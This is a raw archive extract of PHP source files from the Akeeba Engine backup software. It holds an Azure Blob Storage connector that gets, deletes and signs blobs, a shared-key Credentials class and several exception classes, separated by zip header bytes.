	 * taken into account. If the desirable block size is higher than that it is squashed down to the limit. If the
	 * calculated minimum block size exceeds that you will get an exception.
	 *
	 * In practical terms, each API version defines a maximum file size limit (max block size x 50,000):
	 * - < 2016-05-31: 195GiB (4MiB x 50,000 blocks)
	 * - 2016-05-31 to 2019-07-07: 4.75TiB (100MiB x 50,000 blocks)
	 * - >= 2019-12-12: 190.7TiB (4000MiB x 50,000 blocks)
	 *
	 * If the $desirableBlockSize is 0 this is understood as a query to whether the file can be uploaded with a putBlob
	 * in one go. In this case the value returned is either 0 (you can upload with putBlob) or the minimum block size.
	 *
	 * Each API version has a different maximum file size for direct file upload:
	 * - < 2016-05-31: 64MiB
	 * - 2016-05-31 to 2019-07-07: 256MiB
	 * - >= 2019-12-12: 5000MiB (in preview status as of April 2022 when this code was last updated)
	 *
	 * @param   string  $fileName
	 * @param   int     $desirableBlockSize
	 *
	 * @return  int
	 * @throws  ApiException
	 * @since   9.2.1
	 * @see     https://docs.microsoft.com/en-us/rest/api/storageservices/put-block-list
	 */
	public function getBestBlockSize(string $fileName, int $desirableBlockSize = 10485760): int
	{
		// Make sure the file exists and we can get its file size.
		@clearstatcache($fileName);

		if (!file_exists($fileName) || !is_file($fileName))
		{
			return $desirableBlockSize;
		}

		$fileSize = @filesize($fileName);

		if (!$fileSize)
		{
			return $desirableBlockSize;
		}

		// What is the minimum block size we have to use to upload this file?
		$minBlockSize = ceil($fileSize / 50000);

		// Find the limits for each API version
		$utcTz         = new \DateTimeZone('utc');
		$versionAsTime = new \DateTime(self::API_VERSION, $utcTz);

		if ($versionAsTime->getTimestamp() >= (new \DateTime('2019-12-12', $utcTz))->getTimestamp())
		{
			$maxBlockSize = 4000 * 1024 * 1024;
			$maxBlobSize  = 5000 * 1024 * 1024;
		}
		elseif ($versionAsTime->getTimestamp() >= (new \DateTime('2016-05-31', $utcTz))->getTimestamp())
		{
			$maxBlockSize = 10 * 1024 * 1024;
			$maxBlobSize  = 256 * 1024 * 1024;
		}
		else
		{
			$maxBlockSize = 4 * 1024 * 1024;
			$maxBlobSize  = 64 * 1024 * 1024;
		}

		// If the $desirableBlockSize is 0 we are querying whether the file can be uploaded in one go.
		if (empty($desirableBlockSize) && ($fileSize <= $maxBlobSize))
		{
			return 0;
		}

		// The $desirableBlockSize must be smaller than $maxBlockSize
		$desirableBlockSize = min($desirableBlockSize, $maxBlockSize);

		// The $minBlockSize must be lower than $maxBlockSize
		if ($minBlockSize > $maxBlockSize)
		{
			throw new FileTooBigToChunk();
		}

		// In any other case return the largest between the $minBlockSize and $desirableBlockSize.
		return max($minBlockSize, $desirableBlockSize);
	}

	/**
	 * Get the blob contents into a file
	 *
	 * @param   string       $containerName      Container name
	 * @param   string       $blobName           Blob name
	 * @param   string       $localFileName      The filename in the local filesystem to write to
	 * @param   string|null  $snapshotId         Snapshot identifier
	 * @param   string|null  $leaseId            Lease identifier
	 * @param   array        $additionalHeaders  Additional headers.
	 *
	 * @return void
	 * @throws  ApiException
	 * @see     https://docs.microsoft.com/en-us/rest/api/storageservices/get-blob
	 * @see     https://docs.microsoft.com/en-us/rest/api/storageservices/Specifying-Conditional-Headers-for-Blob-Service-Operations
	 *
	 */
	public function getBlob(
		string  $containerName = '', string $blobName = '', string $localFileName = '', ?string $snapshotId = null,
		?string $leaseId = null, array $additionalHeaders = []
	)
	{
		$additionalHeaders = array_merge($additionalHeaders, ['file' => $localFileName]);

		$this->getBlobData($containerName, $blobName, $snapshotId, $leaseId, $additionalHeaders);
	}

	/**
	 * Get blob data
	 *
	 * @param   string       $containerName      Container name
	 * @param   string       $blobName           Blob name
	 * @param   string|null  $snapshotId         Snapshot identifier
	 * @param   string|null  $leaseId            Lease identifier
	 * @param   array        $additionalHeaders  Additional headers.
	 *
	 * @return  mixed  Blob contents
	 *
	 * @throws  ApiException
	 * @see     https://docs.microsoft.com/en-us/rest/api/storageservices/get-blob
	 * @see     https://docs.microsoft.com/en-us/rest/api/storageservices/Specifying-Conditional-Headers-for-Blob-Service-Operations
	 *
	 * @since   9.2.1
	 */
	public function getBlobData(
		string $containerName = '', string $blobName = '', ?string $snapshotId = null, ?string $leaseId = null,
		array  $additionalHeaders = []
	)
	{
		if ($containerName === '')
		{
			throw new NoContainerName();
		}

		if (!self::isValidContainerName($containerName))
		{
			throw new InvalidContainerName();
		}

		if ($blobName === '')
		{
			throw new NoBlobName();
		}

		// Build query string
		$queryString = [];

		if (!is_null($snapshotId))
		{
			$queryString['snapshot'] = $snapshotId;
		}

		$queryString = '?' . http_build_query($queryString);

		// Additional headers?
		$headers = [];

		if (!is_null($leaseId))
		{
			$headers['x-ms-lease-id'] = $leaseId;
		}

		foreach ($additionalHeaders as $key => $value)
		{
			$headers[$key] = $value;
		}

		// Resource name
		$resourceName = self::createResourceName($containerName, $blobName);

		// Perform request
		$response = $this->performRequest('GET', $resourceName, $queryString, $headers);

		if ($response->error->isError())
		{
			throw new ApiException($response->error->getMessage(), $response->error->getCode());
		}

		if ($response->getCode() > 399)
		{
			throw new ApiException($this->getErrorMessage($response, 'Resource could not be accessed.'));
		}

		return $response->getBody();
	}

	/**
	 * Delete blob
	 *
	 * @param   string       $containerName      Container name
	 * @param   string       $blobName           Blob name
	 * @param   string|null  $snapshotId         Snapshot identifier
	 * @param   string|null  $leaseId            Lease identifier
	 * @param   array        $additionalHeaders  Additional headers.
	 *
	 * @throws  ApiException
	 * @see     https://docs.microsoft.com/en-us/rest/api/storageservices/delete-blob
	 * @see     https://docs.microsoft.com/en-us/rest/api/storageservices/Specifying-Conditional-Headers-for-Blob-Service-Operations
	 */
	public function deleteBlob(
		string $containerName = '', string $blobName = '', ?string $snapshotId = null, ?string $leaseId = null,
		array  $additionalHeaders = []
	)
	{
		if ($containerName === '')
		{
			throw new NoContainerName();
		}

		if (!self::isValidContainerName($containerName))
		{
			throw new InvalidContainerName();
		}

		if ($blobName === '')
		{
			throw new NoBlobName();
		}

		if (($containerName === '$root') && strpos($blobName, '/') !== false)
		{
			throw new ForwardSlashNotAllowed();
		}

		$queryString = [];

		if (!is_null($snapshotId))
		{
			$queryString['snapshot'] = $snapshotId;
		}

		$queryString = '?' . http_build_query($queryString);

		// Additional headers?
		$headers = [];

		if (!is_null($leaseId))
		{
			$headers['x-ms-lease-id'] = $leaseId;
		}

		foreach ($additionalHeaders as $key => $value)
		{
			$headers[$key] = $value;
		}

		// Resource name
		$resourceName = self::createResourceName($containerName, $blobName);

		// Perform request
		$response = $this->performRequest('DELETE', $resourceName, $queryString, $headers);

		if ($response->error->isError())
		{
			throw new ApiException($response->error->getMessage(), $response->error->getCode());
		}

		if ($response->getCode() > 399)
		{
			throw new ApiException($this->getErrorMessage($response, 'Resource could not be accessed.'));
		}
	}

	/**
	 * Returns a signed download (GET) URL for a specific blob
	 *
	 * @param   string  $container         The name of the container where the Blob is in
	 * @param   string  $remotePath        Remote path to the Blob, relative to the container's root
	 * @param   int     $expiresInSeconds  How many seconds from now does the link expire (default: 900 seconds)
	 *
	 * @return  string  Signed download URL
	 * @since   9.2.1
	 */
	public function getSignedURL($container, $remotePath, $expiresInSeconds = 900)
	{
		$account      = $this->credentials->getAccountName();
		$canonicalURL = '/' . $account . '/' . $container . '/' . ltrim($remotePath, '/');

		// Signing API version
		$signedVersion = '2012-02-12';
		// Signature resource type (Blob)
		$signedresource = 'b';
		// Signed start
		$signedStart = gmdate('Y-m-d\TH:i:s', time()) . 'Z';
		// Signed expiration
		$signedExpiry = gmdate('Y-m-d\TH:i:s', time() + $expiresInSeconds) . 'Z';
		// Signed permissions (read only)
		$signedPermissions = 'r';

		/**
		 * Calculate the string to sign
		 *
		 * @see https://docs.microsoft.com/en-us/rest/api/storageservices/create-service-sas#version-2012-02-12
		 */
		// Signed Permissions
		$stringToSign = $signedPermissions . "\n";
		// Signed Start
		$stringToSign .= $signedStart . "\n";
		// Signed Expiry
		$stringToSign .= $signedExpiry . "\n";
		// Canonicalized resource
		$stringToSign .= $canonicalURL . "\n";
		// Signed Identifier
		$stringToSign .= "\n";
		// Signed Version
		$stringToSign .= $signedVersion;

		$sig = base64_encode(hash_hmac('sha256', $stringToSign, $this->credentials->getAccountKey(), true));

		$query = http_build_query([
			'sv'  => $signedVersion,
			'st'  => $signedStart,
			'se'  => $signedExpiry,
			'sr'  => $signedresource,
			'sp'  => $signedPermissions,
			'sig' => $sig,
		]);

		return $this->getBaseUrl() . '/' . $container . '/' . ltrim($remotePath, '/') . '?' . $query;
	}

	/**
	 * cURL write callback
	 *
	 * @param   resource  $curl  cURL resource
	 * @param   string    $data  Data
	 *
	 * @return  int  Length in bytes
	 * @since   9.2.1
	 */
	protected function __responseWriteCallback($curl, string $data): int
	{
		if (in_array($this->response->code, [200, 206]) && !is_null($this->fp) && is_resource($this->fp))
		{
			return fwrite($this->fp, $data);
		}

		$this->response->addToBody($data);

		return strlen($data);
	}

	/**
	 * cURL header callback
	 *
	 * @param   resource  $curl  cURL resource
	 * @param   string    $data  Data
	 *
	 * @return  int  Length in bytes
	 * @since   9.2.1
	 */
	protected function __responseHeaderCallback($curl, string $data): int
	{
		if (($strlen = strlen($data)) <= 2)
		{
			return $strlen;
		}

		if (substr($data, 0, 4) == 'HTTP')
		{
			$this->response->code = (int) substr($data, 9, 3);

			return $strlen;
		}

		[$header, $value] = explode(': ', trim($data), 2);

		if (is_string($value) && strlen($value) > 0 && substr($value, 0, 1) === '"' && substr($value, -1) === '"')
		{
			$value = trim($value, '"');
		}

		$this->response->setHeader($header, is_numeric($value) ? (int) $value : $value);

		return $strlen;
	}

	/**
	 * Parse result from Response
	 *
	 * @param   Response|null  $response  Response from HTTP call
	 *
	 * @return  SimpleXMLElement
	 * @since   9.2.1
	 */
	private function parseResponse(?Response $response = null)
	{
		if (is_null($response))
		{
			throw new ApiException('Response should not be null.');
		}

		$xml = @simplexml_load_string($response->getBody());

		if ($xml !== false)
		{
			// Fetch all namespaces
			$namespaces = array_merge($xml->getNamespaces(true), $xml->getDocNamespaces(true));

			// Register all namespace prefixes
			foreach ($namespaces as $prefix => $ns)
			{
				if ($prefix != '')
				{
					$xml->registerXPathNamespace($prefix, $ns);
				}
			}
		}

		return $xml;
	}

	/**
	 * Get error message from Response
	 *
	 * @param   Response  $rawResponse       Response
	 * @param   string    $alternativeError  Alternative error message
	 *
	 * @return  string
	 *
	 * @throws  ApiException
	 * @since   9.2.1
	 */
	private function getErrorMessage(Response $rawResponse, string $alternativeError = 'Unknown error.')
	{
		$response = $this->parseResponse($rawResponse);

		if ($response && $response->Message)
		{
			$error = (string) $response->Message;

			// And add some debug information
			$error .= "\n\nRAW REPLY (FOR DEBUGGING):\n\n" . $rawResponse->getBody();

			return $error;
		}

		return $alternativeError;
	}

	/**
	 * Create resource name
	 *
	 * @param   string  $containerName  Container name
	 * @param   string  $blobName       Blob name
	 *
	 * @return  string
	 * @since   9.2.1
	 */
	private function createResourceName(string $containerName = '', string $blobName = ''): string
	{
		if ($blobName === '')
		{
			return $containerName;
		}

		if ($containerName === '' || $containerName === '$root')
		{
			return $blobName;
		}

		return $containerName . '/' . $blobName;
	}

	/**
	 * Is valid container name?
	 *
	 * @param   string  $containerName  Container name
	 *
	 * @return  boolean
	 * @since   9.2.1
	 *
	 * @see     https://docs.microsoft.com/en-us/rest/api/storageservices/Naming-and-Referencing-Containers--Blobs--and-Metadata
	 */
	private function isValidContainerName($containerName = '')
	{
		if ($containerName == '$root')
		{
			return true;
		}

		if (!preg_match('/^[a-z0-9][a-z0-9-]*$/', $containerName))
		{
			return false;
		}

		if (strpos($containerName, '--') !== false)
		{
			return false;
		}

		if (strtolower($containerName) != $containerName)
		{
			return false;
		}

		if (strlen($containerName) < 3 || strlen($containerName) > 63)
		{
			return false;
		}

		if (substr($containerName, -1) == '-')
		{
			return false;
		}

		return true;
	}

	/**
	 * Perform a request to Windows Azure.
	 *
	 * @param   string  $verb         The HTTP verb (GET, POST, PUT, DELETE, ...)
	 * @param   string  $path         The path to the BLOB object
	 * @param   string  $queryString  The query string to append to the path when constructing the URL
	 * @param   array   $headers      A dictionary of HTTP headers
	 *
	 * @return  Response
	 * @since   9.2.1
	 */
	private function performRequest(string $verb, string $path, string $queryString, array $headers = []): Response
	{
		$path        = '/' . ltrim($path, '/');
		$path        = $this->urlencode($path);
		$queryString = $this->urlencode($queryString);
		$url         = $this->getBaseUrl() . $path . $queryString;
		$ch          = curl_init($url);

		$this->applyProxySettingsToCurl($ch);

		$options                         = self::DEFAULT_CURL_OPTIONS;
		$options[CURLOPT_WRITEFUNCTION]  = [$this, '__responseWriteCallback'];
		$options[CURLOPT_HEADERFUNCTION] = [$this, '__responseHeaderCallback'];

		// Try to use at least TLS 1.2. Requires cURL 7.34.0 or later.
		if (defined('CURLOPT_SSLVERSION') && defined('CURL_SSLVERSION_TLSv1_2'))
		{
			$options[CURLOPT_SSLVERSION] = CURL_SSLVERSION_TLSv1_2;
		}
		else
		{
			Factory::getLog()->warning('Your server does nor support making requests with TLSv1.2 or later. Microsoft Azure discontinues support for TLSv1.0 and TLSv1.1 on October 31st, 2024. Please make sure that your server is using a version of PHP compiled against the cURL library version 7.34.0 or later. Failure to do so will result in inability to use this software with Microsoft Azure BLOB storage.');
		}

		// Do I have explicit cURL options to add?
		if (isset($headers['curl-options']) && is_array($headers['curl-options']))
		{
			// We can't use array_merge since we have integer keys and array_merge reassigns them :(
			foreach ($headers['curl-options'] as $k => $v)
			{
				$options[$k] = $v;
			}

			unset($headers['curl-options']);
		}

		// Handle files
		$file         = $headers['file'] ?? null;
		$this->fp     = $headers['fp'] ?? null;
		$fileMode     = $headers['file_mode'] ?? null;
		$explicitPost = $headers['explicit_post'] ?? null;

		foreach (['file', 'fp', 'file_mode', 'explicit_post'] as $k)
		{
			if (isset($headers[$k]))
			{
				unset($headers[$k]);
			}
		}

		if (($this->fp === null) && !empty($file))
		{
			$fileMode = $fileMode ?: ($verb == 'GET' ? 'w' : 'r');

			$this->fp = @fopen($file, $fileMode);
		}

		// Set up additional options
		if ($verb == 'GET' && $this->fp)
		{
			unset($options[CURLOPT_WRITEFUNCTION]);

			$options[CURLOPT_HTTPGET]        = true;
			$options[CURLOPT_HEADER]         = false;
			$options[CURLOPT_FILE]           = $this->fp;
		}
		elseif ($verb == 'GET')
		{
			$options[CURLOPT_HTTPGET] = true;
		}
		elseif ($verb == 'POST')
		{
			$options[CURLOPT_POST] = true;

			if ($explicitPost)
			{
				$options[CURLOPT_POSTFIELDS] = $explicitPost;
			}
			// This is required for some broken servers, e.g. SiteGround
			else
			{
				$options[CURLOPT_POSTFIELDS] = '';
			}
		}
		elseif ($verb == 'PUT' && $this->fp)
		{
			$options[CURLOPT_PUT]    = true;
			$options[CURLOPT_INFILE] = $this->fp;

			if ($file)
			{
				clearstatcache();
				$options[CURLOPT_INFILESIZE] = @filesize($file);
			}
			else
			{
				$options[CURLOPT_INFILESIZE] = strlen(stream_get_contents($this->fp));
			}

			fseek($this->fp, 0);
		}
		else
		{
			$options[CURLOPT_CUSTOMREQUEST] = $verb;

			if ($explicitPost)
			{
				$options[CURLOPT_POSTFIELDS] = $explicitPost;
			}
			elseif ($verb === 'HEAD')
			{
				/** @see http://stackoverflow.com/questions/770179/php-curl-head-request-takes-a-long-time-on-some-sites */
				$options[CURLOPT_NOBODY] = true;
			}
		}

		// Sign and apply headers
		$headers['x-ms-version'] = self::API_VERSION;
		$requestHeaders          = $this->credentials->signRequestHeaders($verb, $path, $queryString, $headers);

		$requestHeaders              = array_map(function ($k, $v) {
			return "$k:$v";
		}, array_keys($requestHeaders), array_values($requestHeaders));
		$options[CURLOPT_HTTPHEADER] = $requestHeaders;

		@curl_setopt_array($ch, $options);

		$this->response = new Response();

		if (curl_exec($ch))
		{
			$this->response->code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
		}
		else
		{
			$this->response->error = new Response\Error(
				curl_errno($ch),
				curl_error($ch),
				$url
			);
		}

		if (version_compare(PHP_VERSION, '8.5.0', 'lt'))
		{
			@curl_close($ch);
		}

		// Close open file pointers
		if (($this->fp !== false) && is_resource($this->fp))
		{
			$this->conditionalFileClose($this->fp);

			if ($this->response->getCode() > 399 && !empty($file) && ($verb == 'GET'))
			{
				@unlink($file);
			}
		}

		$this->fp = null;

		return $this->response;
	}

	/**
	 * (Partial) URL encode function
	 *
	 * @param   string  $value  Value to encode
	 *
	 * @return  string Encoded value
	 * @since   9.2.1
	 */
	private function urlencode(string $value): string
	{
		return str_replace(' ', '%20', $value);
	}

	/**
	 * Get base URL for creating requests
	 *
	 * @return  string
	 * @since   9.2.1
	 */
	private function getBaseUrl(): string
	{
		$schema = $this->useSSL ? 'https://' : 'http://';

		if ($this->credentials->isUsePathStyleUri())
		{
			return $schema . 'blob.' . $this->endPoint . '/' . $this->credentials->getAccountName();
		}

		return $schema . $this->credentials->getAccountName() . '.' . 'blob.' . $this->endPoint;
	}

	/**
	 * Extract a header value, case-insensitive
	 *
	 * @param   array        $headers  The dictionary of headers
	 * @param   string       $key      The key to extract, case-insensitive
	 * @param   string|null  $default  The default value to return if the key is missing
	 *
	 * @return  string|null
	 * @since   9.2.1
	 */
	private function extractHeader(array $headers, string $key, ?string $default = null): ?string
	{
		static $convertedHeaders = [];

		if (self::md5(serialize($convertedHeaders)) != self::md5(serialize($headers)))
		{
			$convertedHeaders = array_combine(
				array_map('strtolower', array_keys($headers)),
				array_values($headers)
			);
		}

		return $convertedHeaders[strtolower($key)] ?? $default;
	}
}PK     \"z#  z#  J  vendor/akeeba/engine/engine/Postproc/Connector/AzureModern/Credentials.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Postproc\Connector\AzureModern;

use Akeeba\Engine\Util\HashTrait;

defined('AKEEBAENGINE') || die();

/**
 * Microsoft Azure Storage request signing with the Storage account key access method.
 *
 * @since 9.2.1
 */
class Credentials
{
	use HashTrait;

	/**
	 * Account name for Microsoft Azure
	 *
	 * @var   string
	 * @since 9.2.1
	 */
	private $accountName = '';

	/**
	 * Account key for Microsoft Azure
	 *
	 * @var   string
	 * @since 9.2.1
	 */
	private $accountKey = '';

	/**
	 * Use path-style URI's
	 *
	 * @var   bool
	 * @since 9.2.1
	 */
	private $usePathStyleUri = false;

	/**
	 * Creates a new Credentials instance
	 *
	 * @param   string  $accountName      Account name for Microsoft Azure
	 * @param   string  $accountKey       Account key for Microsoft Azure
	 * @param   bool    $usePathStyleUri  Use path-style URI's?
	 *
	 * @since   9.2.1
	 */
	public function __construct(string $accountName, string $accountKey, bool $usePathStyleUri = false)
	{
		$this->accountName     = $accountName;
		$this->accountKey      = base64_decode($accountKey);
		$this->usePathStyleUri = $usePathStyleUri;
	}

	/**
	 * Get a credentials object given a connection string.
	 *
	 * The connection string looks like this:
	 *   DefaultEndpointsProtocol=https;AccountName=foobar;AccountKey=AAAAAA=;EndpointSuffix=core.windows.net
	 *
	 * @param   string  $connectionString  The connection string to parse
	 *
	 * @return  static
	 * @since   9.2.1
	 */
	public static function fromConnectionString(string $connectionString): self
	{
		$lines = explode(';', $connectionString);
		$data  = [];

		foreach ($lines as $line)
		{
			$parts = explode('=', $line, 2);

			if (count($parts) != 2)
			{
				continue;
			}

			$data[strtolower($parts[0])] = $parts[1];
		}

		return new self($data['accountname'] ?? '', $data['accountkey'] ?? '', false);
	}

	/**
	 * Set account name for Microsoft Azure
	 *
	 * @param   string  $value
	 *
	 * @since   9.2.1
	 */
	public function setAccountName(string $value): void
	{
		$this->accountName = $value;
	}

	/**
	 * Set account key for Microsoft Azure
	 *
	 * @param   string  $value  The base64-encoded Key
	 *
	 * @since   9.2.1
	 */
	public function setAccountKey(string $value): void
	{
		$this->accountKey = base64_decode($value);
	}

	/**
	 * Set use path-style URI's
	 *
	 * @param   boolean  $value
	 *
	 * @since   9.2.1
	 */
	public function setUsePathStyleUri(bool $value)
	{
		$this->usePathStyleUri = $value;
	}

	/**
	 * Sign request headers with credentials
	 *
	 * @param   string  $httpVerb     HTTP verb the request will use
	 * @param   string  $path         Path for the request
	 * @param   string  $queryString  Query string for the request
	 * @param   array   $headers      x-ms headers to add
	 *
	 * @return  array   Array of headers
	 * @see     https://docs.microsoft.com/en-us/azure/storage/common/storage-rest-api-auth#creating-the-authorization-header
	 * @since   9.2.1
	 */
	public function signRequestHeaders(string $httpVerb, string $path = '/', string $queryString = '', array $headers = [])
	{
		// Determine path and query
		$queryString = $this->prepareQueryStringForSigning($queryString);

		// Request date (RFC 1123) must always be present
		$requestDate          = $this->extractHeader(
			$headers, 'x-ms-date',
			$this->extractHeader($headers, 'Date', gmdate('D, d M Y H:i:s', time()) . ' GMT')
		);
		$headers['x-ms-date'] = $requestDate;

		// Cast header values to strings
		$headers = array_map(function ($x) {
			if (is_bool($x))
			{
				$x = $x ? 'True' : 'False';
			}
			elseif (is_scalar($x))
			{
				$x = (string) $x;
			}
			else
			{
				$x = null;
			}

			return $x;
		}, $headers);

		$headers = array_filter($headers, function ($x) {
			return $x !== null;
		});

		// Build canonicalized headers
		$canonicalizedHeaders = array_filter($headers, function ($x) {
			return strpos(strtolower($x), 'x-ms-') === 0;
		}, ARRAY_FILTER_USE_KEY);
		$canonicalizedHeaders = array_map(function ($k, $v) {
			return strtolower($k) . ':' . $v;
		}, array_keys($canonicalizedHeaders), array_values($canonicalizedHeaders));
		sort($canonicalizedHeaders);

		// Build canonicalized resource string
		$canonicalizedResource = '/' . $this->accountName
			. ($this->usePathStyleUri ? ('/' . $this->accountName) : '')
			. ($this->usePathStyleUri ? substr($path, strpos($path, '/')) : $path)
			. ($queryString ?: '');

		/**
		 * Create the string to sign. It consists of the following:
		 *  VERB + "\n" +
		 *  Content-Encoding + "\n" +
		 *  Content-Language + "\n" +
		 *  Content-Length + "\n" +
		 *  Content-MD5 + "\n" +
		 *  Content-Type + "\n" +
		 *  Date + "\n" +
		 *  If-Modified-Since + "\n" +
		 *  If-Match + "\n" +
		 *  If-None-Match + "\n" +
		 *  If-Unmodified-Since + "\n" +
		 *  Range + "\n" +
		 *  CanonicalizedHeaders +
		 *  CanonicalizedResource
		 *
		 * @see https://docs.microsoft.com/en-us/rest/api/storageservices/authorize-with-shared-key#specifying-the-authorization-header
		 */
		$stringToSign = implode(
			"\n", array_filter([
				strtoupper($httpVerb), // VERB
				$this->extractHeader($headers, 'Content-Encoding', '') ?: '',
				$this->extractHeader($headers, 'Content-Language', '') ?: '',
				intval($this->extractHeader($headers, 'Content-Length', 0)) ?: '',
				$this->extractHeader($headers, 'Content-MD5', '') ?: '',
				$this->extractHeader($headers, 'Content-Type', '') ?: '',
				$this->extractHeader($headers, 'Date', '') ?: '',
				$this->extractHeader($headers, 'If-Modified-Since', '') ?: '',
				$this->extractHeader($headers, 'If-Match', '') ?: '',
				$this->extractHeader($headers, 'If-None-Match', '') ?: '',
				$this->extractHeader($headers, 'If-Unmodified-Since', '') ?: '',
				$this->extractHeader($headers, 'Range', '') ?: '',
				count($canonicalizedHeaders) ? implode("\n", $canonicalizedHeaders) : null,
				$canonicalizedResource,
			], function ($x) {
				return $x !== null;
			})
		);

		//echo "\n/**/" . $stringToSign . "/**/\n";

		$signString = base64_encode(hash_hmac('sha256', $stringToSign, $this->accountKey, true));

		// Sign request
		$headers['x-ms-date']     = $requestDate;
		$headers['Authorization'] = 'SharedKey ' . $this->accountName . ':' . $signString;

		// Return headers
		return $headers;
	}

	/**
	 * Am I supposed to use path style URIs?
	 *
	 * @return  bool
	 * @since   9.2.1
	 */
	public function isUsePathStyleUri(): bool
	{
		return $this->usePathStyleUri;
	}

	/**
	 * Get the Microsoft Azure account name
	 *
	 * @return  string
	 * @since   9.2.1
	 */
	public function getAccountName(): string
	{
		return $this->accountName;
	}

	/**
	 * Get the (decoded) account key
	 *
	 * @return  string
	 */
	public function getAccountKey(): string
	{
		return $this->accountKey;
	}

	/**
	 * Prepare query string for signing
	 *
	 * @param   string  $value  Original query string
	 *
	 * @return  string  Query string for signing
	 * @since   9.2.1
	 */
	private function prepareQueryStringForSigning($value): string
	{
		$value = substr($value, 0, 1) === '?' ? substr($value, 1) : $value;

		parse_str($value, $variables);

		$variables = array_map(function ($k, $v) {
			if (!is_scalar($v))
			{
				return null;
			}

			return strtolower($k) . ':' . $v;
		}, array_keys($variables), array_values($variables));

		$variables = array_filter($variables, function ($x) {
			return !empty($x);
		});

		if (empty($variables))
		{
			return '';
		}

		asort($variables);

		return "\n" . (implode("\n", $variables));
	}

	/**
	 * Extract a header value, case-insensitive
	 *
	 * @param   array        $headers  The dictionary of headers
	 * @param   string       $key      The key to extract, case-insensitive
	 * @param   string|null  $default  The default value to return if the key is missing
	 *
	 * @return  string|null
	 * @since   9.2.1
	 */
	private function extractHeader(array $headers, string $key, ?string $default = null): ?string
	{
		static $convertedHeaders = [];

		if (self::md5(serialize($convertedHeaders)) != self::md5(serialize($headers)))
		{
			$convertedHeaders = array_combine(
				array_map('strtolower', array_keys($headers)),
				array_values($headers)
			);
		}

		return $convertedHeaders[strtolower($key)] ?? $default;
	}
}PK     \?v    ]  vendor/akeeba/engine/engine/Postproc/Connector/AzureModern/Exception/UnexpectedHTTPStatus.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Postproc\Connector\AzureModern\Exception;

defined('AKEEBAENGINE') || die();

class UnexpectedHTTPStatus extends ApiException
{
	public function __construct($errNo = "500", $code = 0, ?\Throwable $previous = null)
	{
		$message = "Unexpected HTTP status $errNo";

		parent::__construct($message, (int) $errNo, $previous);
	}
}PK     \&  &  ]  vendor/akeeba/engine/engine/Postproc/Connector/AzureModern/Exception/InvalidContainerName.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Postproc\Connector\AzureModern\Exception;

defined('AKEEBAENGINE') || die();

class InvalidContainerName extends ApiException
{
	public function __construct($code = 500, ?\Throwable $previous = null)
	{
		$message = 'Container name does not adhere to container naming conventions. See https://docs.microsoft.com/en-us/rest/api/storageservices/Naming-and-Referencing-Containers--Blobs--and-Metadata for more information.';

		parent::__construct($message, $code, $previous);
	}
}PK     \=ȀӴ    V  vendor/akeeba/engine/engine/Postproc/Connector/AzureModern/Exception/TooManyBlocks.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Postproc\Connector\AzureModern\Exception;

defined('AKEEBAENGINE') || die();

class TooManyBlocks extends ApiException
{
	public function __construct($code = 500, ?\Throwable $previous = null)
	{
		$message = 'Too many BLOB blocks. Azure supports up to 50,000 committed blocks. Upload finalisation failed.';

		parent::__construct($message, $code, $previous);
	}
}PK     \yPq    Z  vendor/akeeba/engine/engine/Postproc/Connector/AzureModern/Exception/FileTooBigToChunk.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
